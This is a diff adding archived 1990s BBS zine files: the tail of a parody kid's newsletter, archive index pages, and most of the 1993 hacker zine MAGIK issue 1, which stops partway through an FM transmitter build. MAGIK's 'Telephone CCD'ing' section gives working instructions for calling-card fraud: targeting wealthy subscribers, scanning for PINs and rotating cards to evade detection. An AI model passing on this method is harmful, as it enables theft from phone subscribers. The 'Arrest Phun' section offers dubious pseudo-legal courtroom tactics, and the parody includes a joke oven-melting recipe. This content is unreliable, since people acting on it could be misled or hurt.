drunk on bear, and g0 there!~!!~ +Then we k0uld get in fights there, and pe0p;le w0uld n0 wh0 we are. +Tehn we w0uld hav POWAR!!!~!!!~ Liek then we kan get dealz and stuff +with k-00l charityt 0rganisations!!!!, Liek we k0uld d0 lots of stuff. +s-0 kan we hav a bbs meet? + + + + + + + + + + + + +hears are much apriciateed MACRO off the monht!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + + / ~~|~ /\ \ / /\ /\ /~~~~~~ + \ | / \ \/ / \ \ /_________ . +/ | / \ | away from / \ /________ + _______ im dangirris!!!!1 + / \ ehehehhehehehehe + call my / STOP! | cakl me my bbs ##### is--. + BBSS!!!!! | u die | | + 991-7416 \ | /\/\ /===\ /~~~ |> /\|~~\| + / ^\ \_____/ | | | |-.-| \___ |\ \/|=/_| + | of distruksion vice pre-| + | JANE & BLACK ACID 4EVER sdinet | + | °±²Û BLACK ACID Û²±° | + |______________________________________________| + +wel their it is flks its prety complxe 4 a macor but i leik it it recquiers +trU talint 2 make a macrpo leik taht 1 + + + + + + + + +hears R lettar of the MONHT + +Dear Amadeus, + + I have noticed, through the conspicious course of bureaucracy, that +this past year has been of the most stimulating kind, a quasi-Descartian +infusion of administrative accountabilities, with their own respectively +manipulative acquisitions, and naturally the visionary enthusiasm which are by +all means begetted during the normal course of our Wittgensteinian existance. +If this be the pium desiderium by which we are ennobled, then certainly an +abrogation shall never materialize which would end our propadeutically benign +schedules. And, just as in previous years, our big, furry eyebrows serve +their presuppositional determination to do their little ol' Anaxamanderian +duties! Further, without such due course of action, bureaucracy will not +and can not relieve its tensions of le quaitre de la neux. + + Warmest greetings, + Roger Downwitherspoons + +U R THE MASTOR, ROJAR!!!! we wil all remembar u're letar. + +but b4 i go of about u're letar (EHEHEHEHEHHEHEHEHEHEHEHHEHEHEHEHE )we half +n all-new colem! its ASK AMADEUS!!!!!! wear readars send in lettars 2 the +precodent1!!!!!! + + + + + + + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ASK AMADEUS -0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0 + + by u're precident AMADEUS!!!!! + +-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ASK THE MASTOR =-=-=-=-=-=--==-==-=-=-==-== + +Dear Amadeus, + + I really admire you and your high-quality newsletter. I often think +of how wonderful your newsletter is and how hard-working and diligent you +must be about your studies. I have printed out countless copies of your +premier issue, and have framed a copy of issue #4. I have memorized all of +issues 2 and 3 and can recite them from memory. Your newsletter is perhaps +the greatest gift to humanity since the conception of democracy. I will +promote it throughout the remainder of my life. + My only question is: How can someone so creative and gifted manage +to harness his talents into such a stimulating and provocative newsletter? +I eagerly await your response, and will treasure it regardless of its verbal +content. + + With exceptionally sincere gratitude + for the meaning you have inspired + In my meager life + As though it were a rose-petal + Gently floating + Thru the tempest, + + Ben Dong + +great lettar!! now on2 the next 1 + +Dear Amadeus, + + Do you collect paintings? + + B. J. Stevenson + +wel bj i half often axed myself the same xact thing + +hears are lats lettar + +Dear Amadeus, + + Recently in my studies of quantum mechanics I have been subjected to +an insurmountable difficulty. I am unable to determine a simple facet of +Uncertainty. + It is well-known, of course (as P.C.W. Davies noted) that Dirac, +in attempting to reconcile quantum mechanics with the special theory of +relativity, produced a relativistic wave equation to replace Schrodinger's +and showed that spin l=1/2 was automatically present in his equation. Spin +can therefore be regarded as an essential relativistic effect. + This is all common knowledge. However, I am curious of whether or +not compatible observables must be represented by commuting operators. This +is a question that has plagued me for a long time, and I was curious as to +whether or not you could supply me with a sufficient solution. + + With thanks in advance, + Paul Gottenstein, + The American Quantum-Mechanical Institute + +wel paul u half axed a stimulateing ? & hear is what i half 2 say: 'i would +ansar u're ? but it depends on what molicuels u want. if u r takling about +1 mollecual & u ad it milions & miliosn off times u wil half milions of +moleculs so u must take this in2 concidaration. pleace rerite 2 me w/ this +taken in2 cioncsidnerating. + + + + + + + + +&&&&&&&&&&&&&&&&&&&&&&&&&&& THE prec idnet's cornR %%%%%%%%%%%%%%%%%%%%%%%%%% + +if u r a fan off blck acid's then u probley red his macorez tips SEX-tion +wel if u we're 1 leik me u sed "well thats all fine & dand-E but i dont half +a MAGNEFIYING GLASSSS!!!! so wel hear i m to tell *** U *** how 2 make u're +won MAGNETFYING GLASS w/j just u're stadard householdd preapartiong !!!!!!! + +1) get a jar. +2) it can be big but also masll. +3. cut out the botam. +4. put it in a rely hot ovan. +5. it can be 300debgres or 3,000 degres i dont care but whatevar it mite work +w/ low tempertuars but w/ hi it is bettar so use that if at all posibal b/c +this experiamnt wil work bettar w/ hi tempertruas. +6) make sure it melt s in 2 what u c on am agenfiying glass +7 were alsmot done do u c ehehehehheheehheheheheheheeheheheheheh +eheh +8. THEIR IT SISS!!!!!! U nolw half u're OWN MAGNEFIYING GLASS!!!!!!!!!! + +enjoy hear is my macroe to complemint BLACK ACiDS'!!1 + +29854iu3y4754982986732986743294824387uj87432798397219671432y98212986712981i + +if you half the rite magneifying glass it loosk SO funky!!!!!!!!!!!!!!!!!!!! + + + + + + + +wel thatj ust ahbout rapps it up 4 this issU!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +if u wnat 2 get n e moar of are BACK ISSUs or n e NEW ISSUs that we rite +pleace cal 1 off are DISTRIBUITION SITEs + +ehehehehehehhe bi 4 now ehehheehehehehehehehehh + + + + +----------------------------------------------------------------------------- +Call the MACROEZ of DISTRUKSION Prime Distributor: + + The Dark Cornar 410-889-2729 +----------------------------------------------------------------------------- +Call the MACROEZ of DISTRUKSION Secondary Distributors: + + The Cellular Butt Plug 410-426-7737 + The Pit of D00/\/\! 410-665-1074 + The Cillakon Death 410-882-9052 +----------------------------------------------------------------------------- diff --git a/textfiles.com/magazines/MACOD/macodinf.txt b/textfiles.com/magazines/MACOD/macodinf.txt new file mode 100644 index 00000000..d8b5dc4d --- /dev/null +++ b/textfiles.com/magazines/MACOD/macodinf.txt @@ -0,0 +1,16 @@ +MACROEZ of DISTRUKSION is a parody of the stuff that takes place on +bulletin board systems run by 10 year olds. If your telecommunications +experience is limited to Internet and you've never called a BBS in your +life, then you probably won't find M.o.D. funny. + +Actually, studies have shown that only 1 in twenty people who ARE +familiar with BBSing find these files funny. + +If you have a question about M.o.D., or would like to become a support +board, or would like to contribute, or wish to know the location of the +MACROEZ of DISTRUKSION RENT-A-CAR nearest you then contact: + +basehead@chanel0.clark.net + ^ note the one "n" + +Or call "The Dark Cornar" (Spearpoint 3) at 410-889-2729. diff --git a/textfiles.com/magazines/MAGIK.1 b/textfiles.com/magazines/MAGIK.1 new file mode 100644 index 00000000..dbd9c126 --- /dev/null +++ b/textfiles.com/magazines/MAGIK.1 @@ -0,0 +1,21 @@ + +T E X T F I L E S + +

Electronic Magazines: Master Anarchists Giving Illicit Knowledge

+

+This two-issue wonder is a classic case of a group going through enormous +hoops to create a neat acronym for their name. Both issues have a solid amount +of information, but the whole effort isn't exactly brimming with any sort +of style. +

+ + + + +
+
Filename
Size
Description of the Textfile
magik-1 36391
 Master Anarchists Giving Illicit Knowledge Issue 1, Volume 1 (February 11, 1993) +
magik-2 98614
 Master Anarchists Giving Illicit Knowledge Issue 2, Volume 1 (April 23, 1993) +

There are 2 files for a total of 135,005 bytes.

+ + + diff --git a/textfiles.com/magazines/MAGIK/.windex.html b/textfiles.com/magazines/MAGIK/.windex.html new file mode 100644 index 00000000..2e8dcefc --- /dev/null +++ b/textfiles.com/magazines/MAGIK/.windex.html @@ -0,0 +1,21 @@ + +T E X T F I L E S + +

Electronic Magazines: Master Anarchists Giving Illicit Knowledge

+

+This two-issue wonder is a classic case of a group going through enormous +hoops to create a neat acronym for their name. Both issues have a solid amount +of information, but the whole effort isn't exactly brimming with any sort +of style. +

+ + + + +
+
Filename
Size
Description of the Textfile
magik-1 36391
 Master Anarchists Giving Illicit Knowledge Issue 1, Volume 1 (February 11, 1993) +
magik-2 98614
 Master Anarchists Giving Illicit Knowledge Issue 2, Volume 1 (April 23, 1993) +

There are 2 files for a total of 135,005 bytes.

+ + + diff --git a/textfiles.com/magazines/MAGIK/magik-1 b/textfiles.com/magazines/MAGIK/magik-1 new file mode 100644 index 00000000..8994dbdb --- /dev/null +++ b/textfiles.com/magazines/MAGIK/magik-1 @@ -0,0 +1,824 @@ + <*> MAGIK <*> + Master Anarchists Giving Illicit Knowledge + February 11, 1993 + + Issue 1, Volume 1 + +In This Issue +~~~~~~~~~~~~ +<1> FTP & Telnet Sites (-Chaos-) +<2> MAGIK Overview (-Electric Vampyre-) +<3> Where To Obtain Printed H/P Magazines (-Chaos-) +<4> List of UNiX Manufacturers (-Chaos-) +<5> Arrest Phun (-Nombrist Beor-) +<6> Telephone CCD'ing (-Electric Vampyre-) +<7> Paranoia (-Electric Vampyre-) +<8> FM Transmitter (-The Assassin-) +<9> Closing (-Chaos/Electric Vampyre-) + +Disclaimer +~~~~~~~~~ + MAGIK and it's writers assume no responsibility for the uses +of the material presented. The information in this magazine is for +informational purposes only, and is not necessarily intended for +illegal uses. + + To see, to bleed, cannot be taught, in turn, you're making us, + FUCKING HOSTILE! + -- (C) 1992 Pantera + + (--------------------------------------------------------) + + Introduction + by Chaos + + (--------------------------------------------------------) + + + Tired of seeing nothing of any value printed? We are. Our main +purpose in putting this magazine out is to inform people interested +in as many H/P related topics as we can find. We plan on not only +bringing you the latest tips and tricks in the H/P world, but our +own original software. A zip v1.1 Password Cracker is already in +the works. This is our first issue, which we put out just to get +things going. We have even more stuff which will blow your mind. +Now that Phrack is no longer a regular publication, we intend to +maintain a regular publication schedule, unlike any of the other +rags out there. + + (--------------------------------------------------------) + + MAGIK Overview + by Electric Vampyre + + (--------------------------------------------------------) + Welcome to MAGIK Productions first Newsletter. Who is MAGIK? +MAGIK is a conglomeration of PiRaTeS writing to inform the public +of the interesting aspects of computing. MAGIK is an ackronym +standing for [M]asterful [A]narchists [G]iving [I]llicit +[K]nowledge, the writers of MAGIK are practicing PiRaTeS whose +hobbies include programming, P.H, and of course the other ideas of +Cracking, Carding, and Virii. + We at MAGIK understand that some of our talents may be illegal, +but our purpose is to provide you the information to explore the +various aspects of PiRaTe Computing. We at MAGIK write not for the +elite that knows all this anyway but for the uninformed that wishes +to have more knowledge but cannot find the tools to attain their +goal. Our idea is "inform the public and strengthen all +interested." + At the point of this publication this phyle can be attained via +internet at the address of MAGIK@pnet01.cts.com (ARCHIE AND FTP +SOON TO COME). For those that do not have an internet account MAGIK +can be reached at the WWiVNeT account of #151 @16964. + + WHEN MAILING FOR A SUBSCRIPTION INCLUDE: + + Internet users: Address + Maximum size of mail + UUEncode or text version + + WWiV Users: Address + UUEncode or text version + +NOTICE +~~~~~ +The UUEncode version includes a menu driven text window style +reader with full mouse support which is very nice for reading. + + Presently, at those addresses two things can be done; a +subscription can be obtained or a message can be directed to the +staff for requests/ideas/etc. When mailing us include either the +words "SUBSCRIBE" or "OTHER" in the title, then immediately +proceeding with any details etc needed in filling your subscription +or request. PLEASE DO NOT INCLUDE 2 SUBSCRIPTIONS OR A COMBINATION +OF A SUBSCRIPTION AND AN IDEA IN THE SAME MAIL. + + + (--------------------------------------------------------) + + FTP / Telnet Sites + by Chaos + + (--------------------------------------------------------) + + There are many lists out there on this topic, but all I have +found to be VERY inaccurate in that most of the sites will not even +connect or the login information is no longer valid. Here is an up +to date listing with all addressed VERIFIED by me personally ... + +Key +~~ +Both = Telnet and FTP Access +FTP = FTP Access Only +Telnet = Telnet Access Only + +------------------------------+------+--------------------------- +Address | Type | Description +------------------------------+------+--------------------------- +phred.pc.cc.cmu.edu | Both | Contains H/P Text Files / + | | Magazines +bradenville.andrew.cmu.edu |Telnet| Public IRC Chat System +archie.au |Telnet| Archie File Database at + login: type 'archie' +nyx.cs.du.edu | Both | Public I-net / UNiX access +martini.eecs.umich.edu 3000 |Telnet| Geographic Name Server +nri.reston.va.us 185 |Telnet| Person Finder +wuarchive.wustl.edu | Both | Very Large PD site w/ 2 + | | CD-Roms +------------------------------+------+--------------------------- + + (--------------------------------------------------------) + + Printed Magazines + by Chaos + + (--------------------------------------------------------) + +TAP Magazine +P.O. Box 20264 +Louisville, KY 40250 +Most all issues will cost $1.00 for US Citizens and $2.00 +for overseas. Terms are CASH, postal money order, +or regular money order with the payee left blank. +BBS: 502-499-8933 + +Cybertek Magazine +Published by OCL/Magnitude +P.O. Box 64 +Brewster NY 10509 +$2.50 for sample issue +$15 year for 6 issues + +Mondo 2000 (Formerly Reality Hackers Magazine / High Frontiers) +P.O. Box 10171 +Berkley, CA 94709-5171 +Phone 415-845-9018 +Fax 415-649-9630 +$24 for five issues +Frank Zappa subscribes to Mondo 2000!!! + +Fact Sheet Five +6 Arizona Ave +Rensselaer, NY 12144-4502 +$3.50 for a sample issue. +$33 a year for 8 issues +Phone 518-479-3707 + +Fact Sheet Five reviews any independent news media, i.e. 2600, TAP, +Books, Music, Software, etc. + +Full Disclosure by Glen Roberts +P.O. Box 903-C +Libertyville, Illinois 60048 +Free sample issue +$18 for 12 issues + +Deals with Privacy, electronic surveillance and related topics. + +Anvil +P.O. Box 640383f +El Paso, TX 79904 + +Computer Security Digest +150 N. Main Street +Plymouth, MI 48170 +Phone 313-459-8787 +Fax 313-459-2720 +$125 U.S. per year. +Overseas $155 U.S. per year. + + +HAC-TIC Dutch Hacking Magazine +Network Address: ropg@ooc.uva.nl +Other Address: Hack-Tic P.O. Box 22953 1100 DL Amsterdam +Phone: +31 20 6001480 + +Privacy Journal +P.O. Box 15300 +Washington D.C. 20003 +Phone 202-547-2865 + +Monitoring Times +140 Dog Branch Road +Brasstown, North Carolina 28902 + + (--------------------------------------------------------) + + Who Manufactures Which UNiX's + by Chaos + + (--------------------------------------------------------) + + +---------------+---------------------------------------+ + |Unix Type | Manufacturer | + +---------------+---------------------------------------+ + |Aix | IBM | + |bsd | University of California at Berkeley | + |Coherent | Mark Williams Co. | + |Cromix | Cromemco | + |Edition VII | Perkin-Elmer | + |EUNIX | Electronic Info Systems, INC | + |IDRIS | Whitesmith Ltd. | + |IS/1 | Interactive Systems, INC | + |IS/5 | Interactive Systems, INC | + |JOS | CRDS | + |MUNIX | PCS | + |OS-1 | Software Labs | + |SINIX | Siemens | + |SUN | Microsystems | + |Unica | Knowlogy | + |UTS | Amdahl | + |UNIX | Nixdorf | + |UX | Hewlett Packard | + |VENIX | Ventur Com Ulnc. | + |XENIX | Microsoft Co. | + |ZEUS | Zilog | + +---------------+---------------------------------------+ + + (--------------------------------------------------------) + + Arrest Phun + by Nombrist Beor + + (--------------------------------------------------------) + + You've been arrested! + + Life sure sucks now, don't it? Nope. This is where you get to +have more phun while learning a lot about the reason that your +government is NOT your friend. + + "Live in fame or die in flame" -- Mack + + First off, remember: no hero stuff here. They are probably +wearing bullet proof vests, arrive in bunches of 20, and carrying +heavy artillery. Even if it's only one redneck, they all still +suffer from having a severe trigger finger. There is no reason to +get roughed up, bruised, or shot. + + The Attitude + + You need to have the attitude. Use your head, control your +emotions, and keep your mouth shut at all times. Remember that they +will give rewards to stoolies, so don't even discuss anything +outside of chit-chat like local politics, news, or weather. + + Okay, second. You are not a young punk pain in the ass. You're +not a hero; you're not anything. You are a farm boy from Kentucky +and you're downright DUMB. You're kind and work with everybody as +much as possible, but stubborn. You apologize and call everyone sir +and generally kiss ass whenever possible. Why? Because you look +stupid and easy to take advantage of. Remember keeping your mouth +shut? This is the easiest way to do just that. + + Don't ever ask them for anything. Don't grovel. You are in +control of yourself; they are only in control of the situation. +Your complaints will go on report and give them satisfaction. +Remember "Miranda"? Well, those rights apply at ALL times. There is +no requirement to read them to you in a whole bunch of special +exceptions, so just assume that they've been read to you anyways. +They WILL appear compassionate and sympathetic, but they are really +robotized. They are totally impervious to all reason, logic and +common sense. + + Once you got the basic rules down, the rest of the procedure +is just one big game, except that the stakes are kind of high. +Don't sweat it if you can, but chances are that you're going to be +sweating a lot just because the first time you ever play in a +quarter million dollar poker game, the numbers get to you. Quarter +million? If you're going to be in the dungeon for say 10 years, you +could probably make about $25,000 a year easily. And that's after +the government takes out their share of something close to half. So +you're actually going to be playing for a quarter million dollars +even if it's only five years. Not only that, but once you've been +to jail once, all of your subsequent employers will be harder to +get and possibly pay less. But this is not a game you would +normally show up for. Usually, someone else volunteers you in. +Still not convinced? Well, let's take some numbers (old numbers but +proportions are right). From the official 1977 IRS figures, 8,391 +persons qualified for priority treatment (were investigated). 3,408 +were recommended for prosecution. Of those lucky winners, only +1,636 were indicted by grand juries. 247 of those were convicted +after trial and less than half ever served time in jail. At that +time, there were also approximately 90 million income tax filers +(out of a total population of 210 million). And we're not talking +about one of the roughest, nastiest teams in the American Legal +League, in most cases. + + The Rules of the Game + + Okay, the point of the game is to get over the goal line. It's +just like football (and if you try to tempt them, they really will +sack the quarterback just because they are sadistic people). +Here's what they score points for. Getting you to admit anything. +Getting you to incriminate yourself. Intimidating you. Getting you +to skip procedural details. There's only one problem with these +simple details: they are all professional players and you're just +an amateur team. That's why the game is rigged in your favor +intentionally. But unless you're a professional gambler, you +wouldn't even know it. + + Here's what you score points for. Getting them to admit +anything. +Getting them to perjure themselves. Getting them to foul (not +follow the rules). Giving them as much frustration and anxiety as +possible. Making them lose in front of their friends (they all +have bad sportsmanship problems). Making them lose in front of the +press. + + I can't possibly go over all the rules. There are entire +libraries full of rules. And you thought pro-football was bad! But, +there are certain basics of the game. If you understand those, +you're way ahead. + + Getting a Basic Rule Book + + If you want to actually buy a rule book, I know of one good +one that costs about $20. It is mostly for civil (law suits) +procedure, but he covers the differences between civil and criminal +pretty well and how to adapt. + +Brown's Lawsuit Cookbook +The Brown Carburetor Co., Inc. +P.O. Box 89 +Draper, Utah 84020 + + Don't get the "sequel" that he advertises. It's just a book of +forms and not much use except for the two page excerpt at the end +that talks about RICO, if you don't know anything at all about +RICO. Mike Brown's specialty is getting people out of prison, so he +might be useful later on, too. The place he has vast expertise in +is Terre Haute in Indiana, which is not a pretty place to spend an +all expenses paid government vacation at. For one thing, the other +tourists and the tour guides are absolutely lousy. + + Levels of Play + + There are a bunch of levels of play. You will probably be like +most people and perhaps never even get to the higher levels, like +the appeals process. But unless you do something really stupid and +get shot, you are pretty much guaranteed to make it through the +first few levels. Remember the ways to score points. The more +points you score, the better your chances of winning. There are +some bonus points built in, too, like getting a judge get kicked +off the field for a personal foul (easier than you think, but most +lawyers are scared silly to even try to do anything like that). + +1. Arrest. +2. Initial Questioning. +3. Booking. +Bonus Rounds: more questioning and pre-trial services. +4. More Questioning. +5. Arraignment. +Bonus Round: Evidentiary Hearing. +Bonus Round: Administrative Hearing (automatic in a traffic case; + otherwise rare). +Bonus Round: Grand Jury Indictment. +6. Trial. +7. Sentencing. +8. Appeals (pre-trial services, trials, and sentencing). + + Hopefully, you can make it to at least some bonus rounds. +Getting an evidentiary hearing is relatively easy, for instance. +And at that round, there are some points that you can pick up, but +you can also get some point multipliers that will make scoring in +the actual trial worth more points. There are also no absolutes. +This is just a thumbnail sketch. Some levels can be skipped or +added in. Some levels can be skipped because of mistakes you make. +It is possible, for instance, to petition for a writ of prohibition +(an order from a more powerful judge telling his underling to stop +doing something to you) and go through a pseudo-appeals stage. Some +levels can happen completely by mail instead of in person (this is +very common at the appeals level). But, this basic list of levels +is usually good enough. As you get better, you should have no +problems finding some of the bonus levels, like the writs (a writ +is an order from a judge which carries a lot of weight) levels. + + Questioning + +Okay, for now, let's go over the basic format to answering +questions. + +Officer: Generic Question. +You: "Sir, can you please tell me if my answer to that question is +mandatory or voluntary?" + +1. Officer: "Voluntary." +You: "Then I choose not to volunteer." + +2. Officer: "Mandatory." +You: "Sir, what will you do to me if I don't answer?" + +2a. Officer: "We'll kick the shit out of you." +You: "My answer is XXX under threat of bodily harm, coercion, etc." +or perhaps "I refuse to answer on the grounds that I may +incriminate myself." or perhaps "Show me the law, statute, case, or +whatever it is that makes it mandatory and then I'll answer." This +is a matter of personal taste; if you can take the punishment, go +for it. It depends on the situation. + +2b. Officer: "You won't get out of here until you answer." + + They know it. You know it. So what? You'll eventually go to +trial and the judge will either have to force your answers to be a +condition of your release (this is appealable usually) or order you +to do so (which is a violation of the 5th amendment and which gives +you the power to recuse the judge so fast he won't know what +happened since he's now a party to the case by getting evidence on +the record). It really depends on whether or not you want to give +in to them. + + Remember, the whole point here is to attempt to act +cooperative while refusing to say anything if you can help it. This +is true at every stage of the game. There are lots of different +times where they will try to question you. Even other prisoners may +be sent in to try to get you to talk if you're important to them +and you're being a tough nut to crack. So keep acting stupid. Ask +for meaningful assistance of counsel to help you understand the +question. Volunteer for nothing. After all, don't all the lawyers +tell you that only THEY can understand legal procedure? + + Okay, there is a special case for judges. Remember, judges +have to be impartial. With a judge, when he asks you for +information, such as what your name is, you say: + +"Sir, are you attempting to enter evidence on the record because +you are a party to the case?" + +This question REALLY pisses them off. If they say no, then don't +volunteer information. If they say yes, then they can't judge the +case anymore. Another appropriate question is, "Your honor, are YOU +the accusing party? Then who is the accusing party? I want to face +my accusers as required by the constitution." + + Here's an example of what happened once: "No, Sir. I just need +to know who you are so I can proceed with this case. And since when +I asked for the accused party, you answered, then if you are not +the accused party then you are interfering with this court and I +will find you in contempt." The right response to this sort of +nastiness is just to say something like, "Sir, It is the job of the +accusing party to identify the accused party; however, if you wish, +you can call me Peter Pan for purposes of identification until the +accusing party clears this matter up." A better way is not to get +into this situation. When you are called, stand and ask if the +accusing party is present. And the judge better not respond! +Otherwise, you just stand there and when the bailiff orders you to +walk forward or whatever, you just say, "I'm sorry if I'm in the +wrong place, Sir. Your bailiff here ordered me to come forward." +This is part of jurisdiction. Jurisdiction is necessary for a court +to have control over a case. There are lots of ways they can get +it; when you plead guilty or not guilty, or when they get all 7 +elements. Number 1 is positive identification of the accused party. +Accused must be properly identified; identified in such a fashion +there is no room for mistaken identity. The individual must be +singled out from all others; otherwise, anyone could be subject to +arrest and trial without benefit of "wrong party" defense. Almost +always the means of identification is a person's proper name, BUT, +any means of identification is equally valid if said means +differentiates the accused without doubt. (There is no +constitutionally valid requirement you must identify yourself) For +stop and identify (4th Amendment) see Brown v. Texas, 443 US 47 and +Kolender v Lawson, 461 US 352. + + Arrest + + Remember all the things you read about Mirandizing you first? +Forget it. As long as they can get you to admit anything, they can +use it against you, regardless of whether or not you've been +mirandized. + + They will probably put the cuffs on too tight. And they will +handcuff you. Don't complain. Don't ask your kidnappers for +anything. You're the one in control here, not a wimp. Act like it. +Be respectful, though. Don't act better than them or they'll take +it out on you (all cops have deep fears of being inferior to +anybody). Your complaints will go in their report. Don't give them +any satisfaction! + + Do not answer any questions at all. Demand to get meaningful +assistance of counsel and counsel of choice, since it is your right +to have these at EVERY important stage, including the arrest +itself. + + Just try to be as cooperative as possible physically (there is +no reason to get the shit kicked out of you here) because it's not +going to be worth your effort to resist. Besides, that will give +them a reason to kick the shit out of you that they can use in +court. + + As far as the actual mirandizing, when they ask if you +understand, just say the truth. Say "No. I need counsel to help me +understand, Sir." + + You may get lucky. They might give you waist chains or leg +irons. If this happens, wear them with pride! Hardly anybody gets +that kind of treatment anymore and it means you're really special. +Show them off to the other prisoners, to any police you meet, the +public, everybody! + + Booking + + They will ask for your name? Are you waiving rights if you +answer? Yep! Aside from that, you could be waiving jurisdiction. +Remember how to answer these questions.."Sir, is the answer to that +question voluntary or mandatory?" + + What about mug shots and fingerprints. They will give those +back if you're not guilty, right? Yes, they'll give you the +originals, but you can be sure they've made copies. In Davis v. +Mississippi, they stated that fingerprints and other personal +identification essentially work like property. They need a search +warrant to get them. + + Arraignment + + Before you are arraigned, they will probably keep you in a +holding cell until you're talkative. They will send a pre-trial +services +representative to try to get you to tell them your life history. +This is the same routine as booking. Don't answer anything. +At arraignment, the magistrate or judge will read the complaint, +information, or indictment against you and ask if you understand +it. He is supposed to inform you of your right to assistance of +counsel, that you are not required to make any statements, and that +any statement may be used against you. The whole point of this +procedure is only to tell you what you have been charged with and +to make sure you don't understand it. So answer truthfully and say +"No" if you still don't have counsel. He may also ask you how you +plead. In this case, you may wish to say that "The accused stands +mute." If you make a plea of any sort, you could be giving them +jurisdiction. You could also say that "Since the defendant cannot +understand the charges, the defendant stands mute." The judge will +say "I will enter a not guilty plea for you." Say loud and clear, +"I object! Let the record show that the accused stands mute." + + Then the judge will start asking you personal questions. Shut +up. Keep the voluntary/mandatory routine up. + + Now, the prosecutor or judge or cop is going to absolutely +have a conniption and throw a tantrum because you won't answer +their questions. Let them carry on. In Federal courts, 18 USC 1342 +sets release with the least amount of restrictions unless there is +some legitimate reason on which the court can justify the +imposition of restrictions greater than what would reasonably +assure your appearance. In state courts, the situation is similar. +Okay, now after the government demands something more than your own +recognizance or an unsecured cash bond, then say loud and clear +something like, "Please put on record the fact that the government +has demanded that I be placed under the unreasonable bond +restrictions of XYZ merely because I choose to exercise my right to +remain silent." + + Some of the bond restrictions they may want (which are listed +in 18 USC 1342..find out the equivalent for the state) are distance +of travel, curfew, psychiatric testing, or even weekly reporting. +These are all considered unreasonable except with extra +circumstances (like you jumped bond before). + +Object and state "Please put on record that the no reason was given +for the bond restriction of XYZ and the accused objects." + + The judge will most likely make submission of your prints and +pictures a condition of your release. If you don't give in, you'll +sit in jail. Some of the booking questions will be about your +physical description. The rest will be personal or about your +family; these are out of line. + + This much should get you at least through the first 3-4 days +of the standard arrest procedure and have heaps of procedural +errors lined up for "arguing technicalities" or appeals. + + (--------------------------------------------------------) + + Telephone CCD'ing + by Electric Vampyre + (--------------------------------------------------------) + + With the advent of technology, old forms of getting free calls +have become obsolete. Almost all forms of boxes can now be +detected and/or curcumvented. Extenders are monitored and are a +sure way to get caught other then at a pay phone. DEC's are going +cd and nearly hack-proof. PBX's are hard to find and harder to +hack. WHAT'S LEFT?.... CREDIT CARDS, Personal Calling Cards. + The calling card is a type of credit that recently has become +popular. The idea behind a card is the number plus a four digit +code attached to your subscriber line number (phone number). You +use the number by dialing the card number and then the desired +phone number. + + Obtaining The Card + + To do this you look through your local phone book for a person +who lives in a lucrative part of town. This is important because +there is less of a chance that the subscriber will notice the +fraudulent charges. To get the card you set up your scanner to dial +the number and then scan for the "pin" number after that. (You will +have to check your phone directory for the dialing specifications +for credit card calling, or the operator but not recommended from +the dialing site) I recommend random dialing over sequential +dialing, this prevents a bored operator noticing an obvious +pattern. You will know when you connect because the phone system +will allow you to call your desired target. An incorrect number +will result in the system asking for you to dial your number again. + + Using The Card + + Well this is pretty obvious. They are most effective when +used from pay phones and the occasional long distance call from +your house (which is HIGHLY not reccomended). A new card every few +weeks (1-2 if used a lot) is recommended. + This concept works for a few reasons; all the charges on the +card do not appear until the next billing period. Like all credit +cards, the fraudulent charges must be noticed and reported before +any action can be taken and the charged investigated. If there +are a few charges (1-2) then the company usually drops the charges +and any ensuing investigations. If there are enough the suspect +fraud then they will investigate. If this happens YOURS BUSTED!! +(this is because the phone company records both the destination and +the point of origin of the card). [This is why the cards should be +used SPARINGLY] + + (--------------------------------------------------------) + + Paranoia + by Electric Vampyre + + (--------------------------------------------------------) + + Once again a good H/P discussion is ruined by an uninformed, +paranoid junior phreak. The child always yells the same, "the +government is monitoring everyone's line at the switch." Their +comments always yield nothing in ways of constructive posting and +are a sure way to ruin the conversation. + +"You know that the government monitors your line for key words; +then they tap your conversations for a while looking for +something they can bust you on." + + The comments grow as the time passes. + + This "GRAND CONSPIRACY" concept would make sense in a +communist state with little phone activity. In a mega-country +like ours this idea is ludicrous no matter how much the +government wants to watch and control our personal lives. + To understand the absurdities of this statement let's look at +how a phone conversation works (briefly and very roughly). +Initially, you establish a connection (either an outgoing or +incoming call), then your voice (modem tones, etc.) gets pulse +code modulated. Pulse code modulation (PCM) is a system where +your voice is converted from and analog signal to digital via +sampling, quantizing, and encoding. To obtain this your voice is +sampled at 8000 times per second, converted into an 8 bit "word" +and sent along. For efficiency, the system sends your channel and +23 others on the same line, at the same time, one right after +another. (Rumor has it that the phone co's are going to try and +push 40 lines now? -Talking to a lineman.) + At certain lengths along the signals path it is introduced to +a repeater station. Here the code is reconstructed (amplification +would increase unwanted line noise). If any part of the "word" (a +word has the same appearance as a byte. eg - "10110101") is +missing the computer reconstructs the missing part. From +reconstruction the signal is continued on its path. + From your house the code is invariably sent along to your +local central office (C.O.) and fed into the electronic switching +system (E.S.S. aka "the switch") [The switch is a VERY large +machine incorporating an entire building as its housing.] +Following directions established in the "word" the switch +redirects the code onward to its destination (a point of +termination [house, etc], another switch, satellite, etc.). +Finally, it is sent through your local tap box (giant green metal +boxes along the streets), remodulated, and echoed through your +phone speaker. + For the government to monitor EVERYONE's line they must sort +24 different channels and remodulate 8000 different "words" per +channel every second. Compiling the difficulties, they must also +scan for "key words" after that or listen to each conversation +themselves (i can already see the comments "they use superhuman +listeners..."). Assuming they would do this at a NON-PEAK hour +there are still millions of calls generated and maintained per +second, there would be no way that today's government with its +technology (no matter how advanced it is) could monitor your +line. Why would they care what you are actually saying? Are you +that aloof that you think your mere words are worth the +government's time? + The only way that telephone monitoring (tapping) is to copy +the signal and send a duplication to another point of +termination. This usually produces easily detected noises, etc +and an alert ear (possibly paranoid) can (hopefully) detect this. + +NOTICE +~~~~~ + This is an oversimplified version of the actual processes +involved. (Ever wonder where line noise came from?) + + (--------------------------------------------------------) + + FM Transmitter + by The Assassin + + (--------------------------------------------------------) + + Ok lets get started...first off you will need the following items +which can be found at your local Radio Shack and any place that +sells HAM radio equipment, ie. a HAM radio swap meet... + +1) One HAM radio 6-meter band linear amplifier, to boost the FM + signal from the tuner for broadcasting. A bandwidth of 6 MHz + will work fine. +2) One 6 meter HAM radio antenna +3) One tuner that you will use to send out the signal. The use of + a tuner from a stereo is HIGHLY recommended ie. the part of + your stereo that you plug all the other components into like a + CD player would be plugged in to this and the speakers etc... +4) Two Phono plugs to Tinned 